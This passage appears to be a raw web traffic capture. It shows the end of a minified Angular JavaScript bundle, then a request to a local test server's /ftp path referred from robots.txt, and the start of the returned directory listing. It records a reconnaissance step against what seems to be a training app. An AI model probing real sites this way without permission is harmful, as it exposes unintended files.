Ce?{path:f(Ce.path)?Ce.path:oe.path,domain:f(Ce.domain)?Ce.domain:oe.domain,expires:f(Ce.expires)?Ce.expires:oe.expires,secure:f(Ce.secure)?Ce.secure:oe.secure,sameSite:f(Ce.sameSite)?Ce.sameSite:oe.sameSite,httpOnly:f(Ce.httpOnly)?Ce.httpOnly:oe.httpOnly,storeUnencoded:f(Ce.storeUnencoded)?Ce.storeUnencoded:oe.storeUnencoded}:oe}function z(oe){try{return decodeURIComponent(oe)}catch{return oe}}let H=(()=>{class oe{constructor(k={},K){this.injector=K,this.defaultOptions={path:this.injector.get(a.mr,"/"),domain:void 0,expires:void 0,secure:!1,httpOnly:!1},this.options=S(this.defaultOptions,k)}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(s),n.LFG(n.zs3))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})(),j=(()=>{class oe{constructor(k,K,se){this.document=k,this.optionsProvider=K,this.cookieWriterService=se,this.options=this.optionsProvider.options}hasKey(k){return f(this.get(k))}get(k){return this.getAll()?.[k]}getObject(k){const K=this.get(k);if(!c(K))return""===K?{}:JSON.parse(K)}getAll(){return function g(oe){let K,se,ee,q,we,Ce={},k="";if(oe!==k)for(k=oe,K=k.split(";"),Ce={},ee=0;ee<K.length;ee++)se=K[ee],q=se.indexOf("="),q>0&&(we=z(se.substring(0,q).trim()),c(Ce[we])&&(Ce[we]=z(se.substring(q+1).trim())));return Ce}(this.cookieWriterService.readAllAsString())}put(k,K,se){const ee=S(this.options,se);this.cookieWriterService.write(k,K,ee)}putObject(k,K,se){this.put(k,JSON.stringify(K),se)}remove(k,K){this.put(k,void 0,K)}removeAll(k){const K=this.getAll();Object.keys(K).forEach(se=>this.remove(se,k))}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(a.K0),n.LFG(H),n.LFG(u))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})(),U=(()=>{class oe{constructor(k){this.document=k}readAllAsString(){return this.document.cookie||""}write(k,K,se){this.document.cookie=function C(oe,Ce,k){let se,K=k?.expires;c(Ce)?(K="Thu, 01 Jan 1970 00:00:00 GMT",se=""):se=Ce,function E(oe){return"string"==typeof oe}(K)&&(K=new Date(K));const ee=k?.storeUnencoded?Ce:encodeURIComponent(se);let q=encodeURIComponent(oe)+"="+ee;q+=k?.path?";path="+k.path:"",q+=k?.domain?";domain="+k.domain:"",q+=K?";expires="+K.toUTCString():"",q+=k?.sameSite?"; SameSite="+k.sameSite:"",q+=k?.secure?";secure":"",q+=k?.httpOnly?"; HttpOnly":"";const we=q.length+1;return we>4096&&console.log("Cookie \'"+oe+"\' possibly not set or overflowed because it was too large ("+we+" > 4096 bytes)!"),q}(k,K,se)}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(a.K0))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})();function G(oe,Ce,k){return new j(oe,Ce,k)}let Q=(()=>{class oe{static withOptions(k={}){return{ngModule:oe,providers:[{provide:s,useValue:k},{provide:u,useClass:U},{provide:j,useFactory:G,deps:[a.K0,H,u]}]}}static forRoot(k={}){return this.withOptions(k)}static forChild(k={}){return this.withOptions(k)}}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=n.oAB({type:oe}),oe.\\u0275inj=n.cJS({providers:[H]}),oe})()},8225:(At,ae,d)=>{"use strict";d.d(ae,{rN:()=>ce,y$:()=>Oe,_l:()=>Qe});var n=d(4650),a=d(591),s=d(8896),u=d(1737),c=d(3009),f=d(6688),E=d(3489),_=d(5430),S=d(1177);class C{constructor(qe){this.resultSelector=qe}call(qe,Ke){return Ke.subscribe(new z(qe,this.resultSelector))}}class z extends E.L{constructor(qe,Ke,dt=Object.create(null)){super(qe),this.resultSelector=Ke,this.iterators=[],this.active=0,this.resultSelector="function"==typeof Ke?Ke:void 0}_next(qe){const Ke=this.iterators;(0,f.k)(qe)?Ke.push(new j(qe)):Ke.push("function"==typeof qe[_.hZ]?new H(qe[_.hZ]()):new U(this.destination,this,qe))}_complete(){const qe=this.iterators,Ke=qe.length;if(this.unsubscribe(),0!==Ke){this.active=Ke;for(let dt=0;dt<Ke;dt++){let bt=qe[dt];bt.stillUnsubscribed?this.destination.add(bt.subscribe()):this.active--}}else this.destination.complete()}notifyInactive(){this.active--,0===this.active&&this.destination.complete()}checkIterators(){const qe=this.iterators,Ke=qe.length,dt=this.destination;for(let De=0;De<Ke;De++){let re=qe[De];if("function"==typeof re.hasValue&&!re.hasValue())return}let bt=!1;const ze=[];for(let De=0;De<Ke;De++){let re=qe[De],ve=re.next();if(re.hasCompleted()&&(bt=!0),ve.done)return void dt.complete();ze.push(ve.value)}this.resultSelector?this._tryresultSelector(ze):dt.next(ze),bt&&dt.complete()}_tryresultSelector(qe){let Ke;try{Ke=this.resultSelector.apply(this,qe)}catch(dt){return void this.destination.error(dt)}this.destination.next(Ke)}}class H{constructor(qe){this.iterator=qe,this.nextResult=qe.next()}hasValue(){return!0}next(){const qe=this.nextResult;return this.nextResult=this.iterator.next(),qe}hasCompleted(){const qe=this.nextResult;return Boolean(qe&&qe.done)}}class j{constructor(qe){this.array=qe,this.index=0,this.length=0,this.length=qe.length}[_.hZ](){return this}next(qe){const Ke=this.index++;return Ke<this.length?{value:this.array[Ke],done:!1}:{value:null,done:!0}}hasValue(){return this.array.length>this.index}hasCompleted(){return this.array.length===this.index}}class U extends S.Ds{constructor(qe,Ke,dt){super(qe),this.parent=Ke,this.observable=dt,this.stillUnsubscribed=!0,this.buffer=[],this.isComplete=!1}[_.hZ](){return this}next(){const qe=this.buffer;return 0===qe.length&&this.isComplete?{value:null,done:!0}:{value:qe.shift(),done:!1}}hasValue(){return this.buffer.length>0}hasCompleted(){return 0===this.buffer.length&&this.isComplete}notifyComplete(){this.buffer.length>0?(this.isComplete=!0,this.parent.notifyInactive()):this.destination.complete()}notifyNext(qe){this.buffer.push(qe),this.parent.checkIterators()}subscribe(){return(0,S.ft)(this.observable,new S.IY(this))}}var G=d(5254),Q=d(352),oe=d(2198),Ce=d(4850),k=d(2986),K=d(7545),se=d(2868),ee=d(7221),q=d(6895),we=d(1481);const ce=new n.OlP("HIGHLIGHT_OPTIONS");let je=(()=>{class Ye{constructor(Ke,dt,bt){this.doc=Ke,this._options=bt,this._ready=new a.X(null),this.ready=this._ready.asObservable().pipe((0,oe.h)(ze=>!!ze),(0,Ce.U)(ze=>ze),(0,k.q)(1)),(0,q.NF)(dt)&&(Ke.defaultView.hljs?this._ready.next(Ke.defaultView.hljs):this._loadLibrary().pipe((0,K.w)(ze=>this._options&&this._options.lineNumbersLoader?(Ke.defaultView.hljs=ze,this.loadLineNumbers().pipe((0,se.b)(()=>this._ready.next(ze)))):(this._ready.next(ze),s.E)),(0,ee.K)(ze=>(console.error("[HLJS] ",ze),s.E))).subscribe(),this._options?.themePath&&this.loadTheme(this._options.themePath))}_loadLibrary(){if(this._options){if(this._options.fullLibraryLoader&&this._options.coreLibraryLoader)return(0,u._)(()=>"The full library and the core library were imported, only one of them should be imported!");if(this._options.fullLibraryLoader&&this._options.languages)return(0,u._)(()=>"The highlighting languages were imported they are not needed!");if(this._options.coreLibraryLoader&&!this._options.languages)return(0,u._)(()=>"The highlighting languages were not imported!");if(!this._options.coreLibraryLoader&&this._options.languages)return(0,u._)(()=>"The core library was not imported!");if(this._options.fullLibraryLoader)return this.loadFullLibrary();if(this._options.coreLibraryLoader&&this._options.languages&&Object.keys(this._options.languages).length)return this.loadCoreLibrary().pipe((0,K.w)(Ke=>this._loadLanguages(Ke)))}return(0,u._)(()=>"Highlight.js library was not imported!")}_loadLanguages(Ke){return function g(...Ye){const qe=Ye[Ye.length-1];return"function"==typeof qe&&Ye.pop(),(0,c.n)(Ye,void 0).lift(new C(qe))}(...Object.entries(this._options.languages).map(([bt,ze])=>Ze(ze()).pipe((0,se.b)(De=>Ke.registerLanguage(bt,De))))).pipe((0,Ce.U)(()=>Ke))}loadCoreLibrary(){return Ze(this._options.coreLibraryLoader())}loadFullLibrary(){return Ze(this._options.fullLibraryLoader())}loadLineNumbers(){return Ze(this._options.lineNumbersLoader())}setTheme(Ke){this._themeLinkElement.href=Ke}loadTheme(Ke){this._themeLinkElement=this.doc.createElement("link"),this._themeLinkElement.href=Ke,this._themeLinkElement.type="text/css",this._themeLinkElement.rel="stylesheet",this._themeLinkElement.media="screen,print",this.doc.head.appendChild(this._themeLinkElement)}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.LFG(q.K0),n.LFG(n.Lbi),n.LFG(ce,8))},Ye.\\u0275prov=n.Yz7({token:Ye,factory:Ye.\\u0275fac,providedIn:"root"}),Ye})();const Ze=Ye=>(0,G.D)(Ye).pipe((0,oe.h)(qe=>!!qe&&!!qe.default),(0,Ce.U)(qe=>qe.default));let le=(()=>{class Ye{constructor(Ke,dt){this._loader=Ke,this._hljs=null,Ke.ready.subscribe(bt=>{this._hljs=bt,dt&&dt.config&&(bt.configure(dt.config),bt.listLanguages().length<1&&console.error("[HighlightJS]: No languages were registered!"))})}get hljs(){return this._hljs}highlight(Ke,{language:dt,ignoreIllegals:bt}){return this._loader.ready.pipe((0,Ce.U)(ze=>ze.highlight(Ke,{language:dt,ignoreIllegals:bt})))}highlightAuto(Ke,dt){return this._loader.ready.pipe((0,Ce.U)(bt=>bt.highlightAuto(Ke,dt)))}highlightElement(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.highlightElement(Ke)))}highlightAll(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.highlightAll()))}configure(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.configure(Ke)))}registerLanguage(Ke,dt){return this._loader.ready.pipe((0,se.b)(bt=>bt.registerLanguage(Ke,dt)))}unregisterLanguage(Ke){return this._loader.ready.pipe((0,se.b)(dt=>dt.unregisterLanguage(Ke)))}registerAliases(Ke,{languageName:dt}){return this._loader.ready.pipe((0,se.b)(bt=>bt.registerAliases(Ke,{languageName:dt})))}listLanguages(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.listLanguages()))}getLanguage(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.getLanguage(Ke)))}safeMode(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.safeMode()))}debugMode(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.debugMode()))}lineNumbersBlock(Ke){return this._loader.ready.pipe((0,oe.h)(dt=>!!dt.lineNumbersBlock),(0,se.b)(dt=>dt.lineNumbersBlock(Ke)))}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.LFG(je),n.LFG(ce,8))},Ye.\\u0275prov=n.Yz7({token:Ye,factory:Ye.\\u0275fac,providedIn:"root"}),Ye})(),Oe=(()=>{class Ye{constructor(Ke,dt,bt,ze){this._hljs=dt,this._sanitizer=bt,this._options=ze,this.highlighted=new n.vpe,this._nativeElement=Ke.nativeElement}ngOnChanges(Ke){null!==Ke?.code?.currentValue&&Ke.code.currentValue!==Ke.code.previousValue&&(this.code?this.highlightElement(this.code,this.languages):this.setTextContent(""))}highlightElement(Ke,dt){this.setTextContent(Ke),this._hljs.highlightAuto(Ke,dt).subscribe(bt=>{this.setInnerHTML(bt?.value),this.lineNumbers&&this._options&&this._options.lineNumbersLoader&&this.addLineNumbers(),this.highlighted.emit(bt)})}addLineNumbers(){this.destroyLineNumbersObserver(),Q.Z.schedule(()=>{this._hljs.lineNumbersBlock(this._nativeElement).subscribe(),this._lineNumbersObs=new MutationObserver(()=>{this._nativeElement.firstElementChild&&"TABLE"===this._nativeElement.firstElementChild.tagName.toUpperCase()&&this._nativeElement.classList.add("hljs-line-numbers"),this.destroyLineNumbersObserver()}),this._lineNumbersObs.observe(this._nativeElement,{childList:!0})})}destroyLineNumbersObserver(){this._lineNumbersObs&&(this._lineNumbersObs.disconnect(),this._lineNumbersObs=null)}setTextContent(Ke){Q.Z.schedule(()=>this._nativeElement.textContent=Ke)}setInnerHTML(Ke){Q.Z.schedule(()=>this._nativeElement.innerHTML=this._sanitizer.sanitize(n.q3G.HTML,Ke)||"")}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.Y36(n.SBq),n.Y36(le),n.Y36(we.H7),n.Y36(ce,8))},Ye.\\u0275dir=n.lG2({type:Ye,selectors:[["","highlight",""]],hostVars:2,hostBindings:function(Ke,dt){2&Ke&&n.ekj("hljs",!0)},inputs:{code:["highlight","code"],languages:"languages",lineNumbers:"lineNumbers"},outputs:{highlighted:"highlighted"},features:[n.TTD]}),Ye})(),Qe=(()=>{class Ye{}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)},Ye.\\u0275mod=n.oAB({type:Ye}),Ye.\\u0275inj=n.cJS({}),Ye})()},8423:(At,ae,d)=>{"use strict";d.d(ae,{Ro:()=>se,ef:()=>ee,t2:()=>Ce});var n=d(4650),a=d(591),s=d(8929),u=d(2198),c=d(7625),f=d(7340),E=d(6895),_=d(1481);const S=["overlay"];function g(q,we){1&q&&n._UZ(0,"div")}function C(q,we){if(1&q&&(n.TgZ(0,"div"),n.YNc(1,g,1,0,"div",6),n.qZA()),2&q){const ce=n.oxw(2);n.Tol(ce.spinner.class),n.Udp("color",ce.spinner.color),n.xp6(1),n.Q6J("ngForOf",ce.spinner.divArray)}}function z(q,we){if(1&q&&(n._UZ(0,"div",7),n.ALo(1,"safeHtml")),2&q){const ce=n.oxw(2);n.Q6J("innerHTML",n.lcZ(1,1,ce.template),n.oJD)}}function H(q,we){if(1&q&&(n.TgZ(0,"div",1,2),n.YNc(2,C,2,5,"div",3),n.YNc(3,z,2,3,"div",4),n.TgZ(4,"div",5),n.Hsn(5),n.qZA()()),2&q){const ce=n.oxw();n.Udp("background-color",ce.spinner.bdColor)("z-index",ce.spinner.zIndex)("position",ce.spinner.fullScreen?"fixed":"absolute"),n.Q6J("@.disabled",ce.disableAnimation)("@fadeIn","in"),n.xp6(2),n.Q6J("ngIf",!ce.template),n.xp6(1),n.Q6J("ngIf",ce.template),n.xp6(1),n.Udp("z-index",ce.spinner.zIndex)}}const j=["*"],U={"ball-8bits":16,"ball-atom":4,"ball-beat":3,"ball-circus":5,"ball-climbing-dot":4,"ball-clip-rotate":1,"ball-clip-rotate-multiple":2,"ball-clip-rotate-pulse":2,"ball-elastic-dots":5,"ball-fall":3,"ball-fussion":4,"ball-grid-beat":9,"ball-grid-pulse":9,"ball-newton-cradle":4,"ball-pulse":3,"ball-pulse-rise":5,"ball-pulse-sync":3,"ball-rotate":1,"ball-running-dots":5,"ball-scale":1,"ball-scale-multiple":3,"ball-scale-pulse":2,"ball-scale-ripple":1,"ball-scale-ripple-multiple":3,"ball-spin":8,"ball-spin-clockwise":8,"ball-spin-clockwise-fade":8,"ball-spin-clockwise-fade-rotating":8,"ball-spin-fade":8,"ball-spin-fade-rotating":8,"ball-spin-rotate":2,"ball-square-clockwise-spin":8,"ball-square-spin":8,"ball-triangle-path":3,"ball-zig-zag":2,"ball-zig-zag-deflect":2,cog:1,"cube-transition":2,fire:3,"line-scale":5,"line-scale-party":5,"line-scale-pulse-out":5,"line-scale-pulse-out-rapid":5,"line-spin-clockwise-fade":8,"line-spin-clockwise-fade-rotating":8,"line-spin-fade":8,"line-spin-fade-rotating":8,pacman:6,"square-jelly-box":2,"square-loader":1,"square-spin":1,timer:1,"triangle-skew-spin":1},Q="primary";class oe{constructor(we){Object.assign(this,we)}static create(we){return!we?.template&&(null==we?.type||0===we.type.length)&&console.warn(\'[ngx-spinner]: Property "type" is missed. Please, provide animation type to <ngx-spinner> component\\n and ensure css is added to angular.json file\'),new oe(we)}}let Ce=(()=>{class q{constructor(){this.spinnerObservable=new a.X(null)}getSpinner(ce){return this.spinnerObservable.asObservable().pipe((0,u.h)(je=>je&&je.name===ce))}show(ce=Q,je){return new Promise((Ze,le)=>{setTimeout(()=>{je&&Object.keys(je).length?(je.name=ce,this.spinnerObservable.next(new oe({...je,show:!0})),Ze(!0)):(this.spinnerObservable.next(new oe({name:ce,show:!0})),Ze(!0))},10)})}hide(ce=Q,je=10){return new Promise((Ze,le)=>{setTimeout(()=>{this.spinnerObservable.next(new oe({name:ce,show:!1})),Ze(!0)},je)})}}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275prov=n.Yz7({token:q,factory:q.\\u0275fac,providedIn:"root"}),q})();const k=new n.OlP("NGX_SPINNER_CONFIG");let K=(()=>{class q{constructor(ce){this._sanitizer=ce}transform(ce){if(ce)return this._sanitizer.bypassSecurityTrustHtml(ce)}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(_.H7,16))},q.\\u0275pipe=n.Yjl({name:"safeHtml",type:q,pure:!0}),q})(),se=(()=>{class q{constructor(ce,je,Ze,le){this.spinnerService=ce,this.changeDetector=je,this.elementRef=Ze,this.globalConfig=le,this.disableAnimation=!1,this.spinner=new oe,this.ngUnsubscribe=new s.xQ,this.setDefaultOptions=()=>{const{type:Oe}=this.globalConfig??{};this.spinner=oe.create({name:this.name,bdColor:this.bdColor,size:this.size,color:this.color,type:this.type??Oe,fullScreen:this.fullScreen,divArray:this.divArray,divCount:this.divCount,show:this.show,zIndex:this.zIndex,template:this.template,showSpinner:this.showSpinner})},this.bdColor="rgba(51,51,51,0.8)",this.zIndex=99999,this.color="#fff",this.size="large",this.fullScreen=!0,this.name=Q,this.template=null,this.showSpinner=!1,this.divArray=[],this.divCount=0,this.show=!1}handleKeyboardEvent(ce){this.spinnerDOM&&this.spinnerDOM.nativeElement&&(this.fullScreen||!this.fullScreen&&this.isSpinnerZone(ce.target))&&(ce.returnValue=!1,ce.preventDefault())}initObservable(){this.spinnerService.getSpinner(this.name).pipe((0,c.R)(this.ngUnsubscribe)).subscribe(ce=>{this.setDefaultOptions(),Object.assign(this.spinner,ce),ce.show&&this.onInputChange(),this.changeDetector.detectChanges()})}ngOnInit(){this.setDefaultOptions(),this.initObservable()}isSpinnerZone(ce){return ce===this.elementRef.nativeElement.parentElement||ce.parentNode&&this.isSpinnerZone(ce.parentNode)}ngOnChanges(ce){for(const je in ce)if(je){const Ze=ce[je];if(Ze.isFirstChange())return;typeof Ze.currentValue<"u"&&Ze.currentValue!==Ze.previousValue&&""!==Ze.currentValue&&(this.spinner[je]=Ze.currentValue,"showSpinner"===je&&(Ze.currentValue?this.spinnerService.show(this.spinner.name,this.spinner):this.spinnerService.hide(this.spinner.name)),"name"===je&&this.initObservable())}}getClass(ce,je){this.spinner.divCount=U[ce],this.spinner.divArray=Array(this.spinner.divCount).fill(0).map((le,Oe)=>Oe);let Ze="";switch(je.toLowerCase()){case"small":Ze="la-sm";break;case"medium":Ze="la-2x";break;case"large":Ze="la-3x"}return"la-"+ce+" "+Ze}onInputChange(){this.spinner.class=this.getClass(this.spinner.type,this.spinner.size)}ngOnDestroy(){this.ngUnsubscribe.next(),this.ngUnsubscribe.complete()}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(Ce),n.Y36(n.sBO),n.Y36(n.SBq),n.Y36(k,8))},q.\\u0275cmp=n.Xpm({type:q,selectors:[["ngx-spinner"]],viewQuery:function(ce,je){if(1&ce&&n.Gf(S,5),2&ce){let Ze;n.iGM(Ze=n.CRH())&&(je.spinnerDOM=Ze.first)}},hostBindings:function(ce,je){1&ce&&n.NdJ("keydown",function(le){return je.handleKeyboardEvent(le)},!1,n.evT)},inputs:{bdColor:"bdColor",size:"size",color:"color",type:"type",fullScreen:"fullScreen",name:"name",zIndex:"zIndex",template:"template",showSpinner:"showSpinner",disableAnimation:"disableAnimation"},features:[n.TTD],ngContentSelectors:j,decls:1,vars:1,consts:[["class","ngx-spinner-overlay",3,"background-color","z-index","position",4,"ngIf"],[1,"ngx-spinner-overlay"],["overlay",""],[3,"class","color",4,"ngIf"],[3,"innerHTML",4,"ngIf"],[1,"loading-text"],[4,"ngFor","ngForOf"],[3,"innerHTML"]],template:function(ce,je){1&ce&&(n.F$t(),n.YNc(0,H,6,12,"div",0)),2&ce&&n.Q6J("ngIf",je.spinner.show)},dependencies:[E.sg,E.O5,K],styles:[".ngx-spinner-overlay[_ngcontent-%COMP%]{position:fixed;top:0;left:0;width:100%;height:100%}.ngx-spinner-overlay[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]:not(.loading-text){top:50%;left:50%;margin:0;position:absolute;transform:translate(-50%,-50%)}.loading-text[_ngcontent-%COMP%]{position:absolute;top:60%;left:50%;transform:translate(-50%,-60%)}"],data:{animation:[(0,f.X$)("fadeIn",[(0,f.SB)("in",(0,f.oB)({opacity:1})),(0,f.eR)(":enter",[(0,f.oB)({opacity:0}),(0,f.jt)(300)]),(0,f.eR)(":leave",(0,f.jt)(200,(0,f.oB)({opacity:0})))])]},changeDetection:0}),q})(),ee=(()=>{class q{static forRoot(ce){return{ngModule:q,providers:[{provide:k,useValue:ce}]}}}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=n.oAB({type:q}),q.\\u0275inj=n.cJS({imports:[E.ez]}),q})()},42:(At,ae,d)=>{"use strict";d.d(ae,{io:()=>n});var n=d(8450)},5861:(At,ae,d)=>{"use strict";function n(s,u,c,f,E,_,S){try{var g=s[_](S),C=g.value}catch(z){return void c(z)}g.done?u(C):Promise.resolve(C).then(f,E)}function a(s){return function(){var u=this,c=arguments;return new Promise(function(f,E){var _=s.apply(u,c);function S(C){n(_,f,E,S,g,"next",C)}function g(C){n(_,f,E,S,g,"throw",C)}S(void 0)})}}d.d(ae,{Z:()=>a})}}]);'
GET http://localhost:3000/ftp HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Referer: http://localhost:3000/robots.txt Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:27:00 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\'utf-8\'> \n <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />\n <title>listing directory /ftp</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2, h3 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nh3 {\n margin: 5px 0 10px 0;\n padding-bottom: 5px;\n border-bottom: 1px solid #eee;\n font-size: 18px;\n}\nul li {\n list-style: none;\n}\nul li:hover {\n cursor: pointer;\n color: #2e2e2e;\n}\nul li .path {\n padding-left: 5px;\n font-weight: bold;\n}\nul li .line {\n padding-right: 5px;\n font-style: italic;\n}\nul li:first-child .path {\n padding-left: 0;\n}\np {\n line-height: 1.5;\n}\na {\n color: #555;\n text-decoration: none;\n}\na:hover {\n color: #303030;\n}\n#stacktrace {\n margin-top: 15px;\n}\n.directory h1 {\n margin-bottom: 15px;\n font-size: 18px;\n}\nul#files {\n width: 100%;\n height: 100%;\n overflow: hidden;\n}\nul#files li {\n float: left;\n width: 30%;\n line-height: 25px;\n margin: 1px;\n}\nul#files li a {\n display: block;\n height: 25px;\n border: 1px solid transparent;\n -webkit-border-radius: 5px;\n -moz-border-radius: 5px;\n border-radius: 5px;\n overflow: hidden;\n white-space: nowrap;\n}\nul#files li a:focus,\nul#files li a:hover {\n background: rgba(255,255,255,0.65);\n border: 1px solid #ececec;\n}\nul#files li a.highlight {\n -webkit-transition: background .4s ease-in-out;\n background: #ffff4f;\n border-color: #E9DC51;\n}\n#search {\n display: block;\n position: fixed;\n top: 20px;\n right: 20px;\n width: 90px;\n -webkit-transition: width ease 0.2s, opacity ease 0.4s;\n -moz-transition: width ease 0.2s, opacity ease 0.4s;\n -webkit-border-radius: 32px;\n -moz-border-radius: 32px;\n -webkit-box-shadow: inset 0px 0px 3px rgba(0, 0, 0, 0.25), inset 0px 1px 3px rgba(0, 0, 0, 0.7), 0px 1px 0px rgba(255, 255, 255, 0.03);\n -moz-box-shadow: inset 0px 0px 3px rgba(0, 0, 0, 0.25), inset 0px 1px 3px rgba(0, 0, 0, 0.7), 0px 1px 0px rgba(255, 255, 255, 0.03);\n -webkit-font-smoothing: antialiased;\n text-align: left;\n font: 13px "Helvetica Neue", Arial, sans-serif;\n padding: 4px 10px;\n border: none;\n background: transparent;\n margin-bottom: 0;\n outline: none;\n opacity: 0.7;\n color: #888;\n}\n#search:focus {\n width: 120px;\n opacity: 1.0; \n}\n\n/*views*/\n#files span {\n display: inline-block;\n overflow: hidden;\n text-overflow: ellipsis;\n text-indent: 10px;\n}\n#files .name {\n background-repeat: no-repeat;\n}\n#files .icon .name {\n text-indent: 28px;\n}\n\n/*tiles*/\n.view-tiles .name {\n width: 100%;\n background-position: 8px 5px;\n}\n.view-tiles .size,\n.view-tiles .date {\n display: none;\n}\n\n/*details*/\nul#files.view-details li {\n float: none;\n display: block;\n width: 90%;\n}\nul#files.view-details li.header {\n height: 25px;\n background: #000;\n color: #fff;\n font-weight: bold;\n}\n.view-details .header {\n border-radius: 5px;\n}\n.view-details .name {\n width: 60%;\n background-position: 8px 5px;\n}\n.view-details .size {\n width: 10%;\n}\n.view-details .date {\n width: 30%;\n}\n.view-details .size,\n.view-details .date {\n text-align: right;\n direction: rtl;\n}\n\n/*mobile*/\n@media (max-width: 768px) {\n body {\n font-size: 13px;\n line-height: 16px;\n padding: 0;\n }\n #search {\n position: static;\n width: 100%;\n font-size: 2em;\n line-height: 1.8em;\n text-indent: 10px;\n border: 0;\n border-radius: 0;\n padding: 10px 0;\n margin: 0;\n }\n #search:focus {\n width: 100%;\n border: 0;\n opacity: 1;\n }\n .directory h1 {\n font-size: 2em;\n line-height: 1.5em;\n color: #fff;\n background: #000;\n padding: 15px 10px;\n margin: 0;\n }\n ul#files {\n border-top: 1px solid #cacaca;\n }\n ul#files li {\n float: none;\n width: auto !important;\n display: block;\n border-bottom: 1px solid #cacaca;\n font-size: 2em;\n line-height: 1.2em;\n text-indent: 0;\n margin: 0;\n }\n ul#files li:nth-child(odd) {\n background: #e0e0e0;\n }\n ul#files li a {\n height: auto;\n border: 0;\n border-radius: 0;\n padding: 15px 10px;\n }\n ul#files li a:focus,\n ul#files li a:hover {\n border: 0;\n }\n #files .header,\n #files .size,\n #files .date {\n display: none !important;\n }\n #files .name {\n float: none;\n display: inline-block;\n width: 100%;\n text-indent: 0;\n background-position: 0 50%;\n }\n #files .icon .name {\n text-indent: 41px;\n }\n}\n#files .icon-directory .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAALGPC/xhBQAAAWtQTFRFAAAA/PPQ9Nhc2q402qQ12qs2/PTX2pg12p81+/LM89NE9dto2q82+/fp2rM22qY39d6U+/bo2qo2/frx/vz32q812qs12qE279SU8c4w9NZP+/LK//367s9y7s925cp0/vzw9t92//342po2/vz25s1579B6+OSO2bQ0/v799NyT8tE79dld8Msm+OrC/vzx79KA2IYs7s6I9d6R4cJe9+OF/PLI/fry79OF/v30//328tWB89RJ8c9p8c0u9eCf//7+9txs6sts5Mdr+++5+u2z/vrv+/fq6cFz8dBs8tA57cpq+OaU9uGs27Y8//799NdX/PbY9uB89unJ//z14sNf+emh+emk+vDc+uys9+OL8dJy89NH+eic8tN5+OaV+OWR9N2n9dtl9t529+KF9+GB9Nue9NdU8tR/9t5y89qW9dpj89iO89eG/vvu2pQ12Y4z/vzy2Ict/vvv48dr/vzz4sNg///+2Igty3PqwQAAAAF0Uk5TAEDm2GYAAACtSURBVBjTY2AgA2iYlJWVhfohBPg0yx38y92dS0pKVOVBAqIi6sb2vsWWpfrFeTI8QAEhYQEta28nCwM1OVleZqCAmKCEkUdwYWmhQnFeOStQgL9cySqkNNDHVJGbiY0FKCCuYuYSGRsV5KgjxcXIARRQNncNj09JTgqw0ZbkZAcK5LuFJaRmZqfHeNnpSucDBQoiEtOycnIz4qI9bfUKQA6pKKqAgqIKQyK8BgAZ5yfODmnHrQAAAABJRU5ErkJggg==);\n}\n#files .icon-text .name {\n background-image: 